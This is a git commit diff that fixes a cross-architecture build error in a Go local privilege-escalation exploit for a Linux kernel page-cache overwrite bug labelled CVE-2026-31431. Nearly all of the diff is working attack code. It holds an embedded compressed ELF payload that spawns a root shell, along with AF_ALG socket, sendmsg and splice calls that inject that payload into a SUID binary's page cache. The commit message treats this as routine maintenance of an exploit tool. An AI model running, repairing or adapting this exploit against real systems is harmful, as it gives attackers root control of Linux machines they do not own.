fix: replace undefined syscall.SYS_SETSOCKOPT/SYS_ACCEPT with unix equivalents

syscall.SYS_SETSOCKOPT and syscall.SYS_ACCEPT are not defined on all
Linux architectures (e.g. arm64). Switch to unix.Syscall6/unix.SYS_SETSOCKOPT
and unix.Accept which are provided by golang.org/x/sys/unix and work
consistently across all supported platforms.

Fixes the build failure reported in CI job 73707270282.

Author: neargle

pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go

@@ -51,7 +51,7 @@ import (
 // copyFailPayloadHex is a zlib-compressed, position-independent ELF64 binary.
 // When injected into a SUID binary's page cache it calls setuid(0) followed by
 // execve("/bin/sh", NULL, NULL), yielding a root shell.
-const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
+const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c[...]
 
 // copyFailDecompressPayload decompresses the embedded zlib payload.
 func copyFailDecompressPayload() ([]byte, error) {
@@ -110,8 +110,8 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
 	key[0] = 0x08 // rta_len (little-endian low byte)
 	key[2] = 0x01 // rta_type = CRYPTO_AUTHENC_KEYA_PARAM
 	key[7] = 0x10 // enc key length = 16 (big-endian in the RTA payload)
-	if _, _, errno := syscall.Syscall6(
-		syscall.SYS_SETSOCKOPT,
+	if _, _, errno := unix.Syscall6(
+		unix.SYS_SETSOCKOPT,
 		uintptr(algFd),
 		uintptr(unix.SOL_ALG),
 		uintptr(unix.ALG_SET_KEY),
@@ -123,8 +123,8 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
 	}
 
 	// ALG_SET_AEAD_AUTHSIZE: pass a NULL optval with optlen = auth-tag size (4).
-	if _, _, errno := syscall.Syscall6(
-		syscall.SYS_SETSOCKOPT,
+	if _, _, errno := unix.Syscall6(
+		unix.SYS_SETSOCKOPT,
 		uintptr(algFd),
 		uintptr(unix.SOL_ALG),
 		uintptr(unix.ALG_SET_AEAD_AUTHSIZE),
@@ -136,11 +136,11 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
 	}
 
 	// Accept returns the operation socket used for actual encrypt/decrypt calls.
-	opFd, _, errno := syscall.Syscall(syscall.SYS_ACCEPT, uintptr(algFd), 0, 0)
-	if errno != 0 {
-		return fmt.Errorf("accept: %v", errno)
+	opFd, err := unix.Accept(algFd)
+	if err != nil {
+		return fmt.Errorf("accept: %v", err)
 	}
-	defer syscall.Close(int(opFd))
+	defer unix.Close(opFd)
 
 	// count = offset + 4 — total bytes to splice from the target file.
 	count := offset + 4
@@ -163,7 +163,7 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
 	// 4-byte payload chunk.  MSG_MORE signals that more data will follow via
 	// splice, deferring ALG processing until the pipe data arrives.
 	msgData := append([]byte("AAAA"), chunk...)
-	if _, err = unix.SendmsgN(int(opFd), msgData, oob, nil, unix.MSG_MORE); err != nil {
+	if _, err = unix.SendmsgN(opFd, msgData, oob, nil, unix.MSG_MORE); err != nil {
 		return fmt.Errorf("sendmsg: %v", err)
 	}
 
@@ -187,14 +187,14 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
 	// splice(pipeR, nil, opFd, nil, count, 0)
 	// Deliver the pipe data to the ALG socket, triggering the kernel bug that
 	// overwrites the page-cache pages with the attacker-controlled data.
-	if _, err = unix.Splice(pipeR, nil, int(opFd), nil, count, 0); err != nil {
+	if _, err = unix.Splice(pipeR, nil, opFd, nil, count, 0); err != nil {
 		return fmt.Errorf("splice(pipe->alg): %v", err)
 	}
 
 	// Drain any ALG output; errors are intentionally ignored (mirrors the
 	// original Python: `try: u.recv(8+t) except: 0`).
 	recvBuf := make([]byte, 8+offset)
-	unix.Read(int(opFd), recvBuf) //nolint:errcheck
+	unix.Read(opFd, recvBuf) //nolint:errcheck
 
 	return nil
 }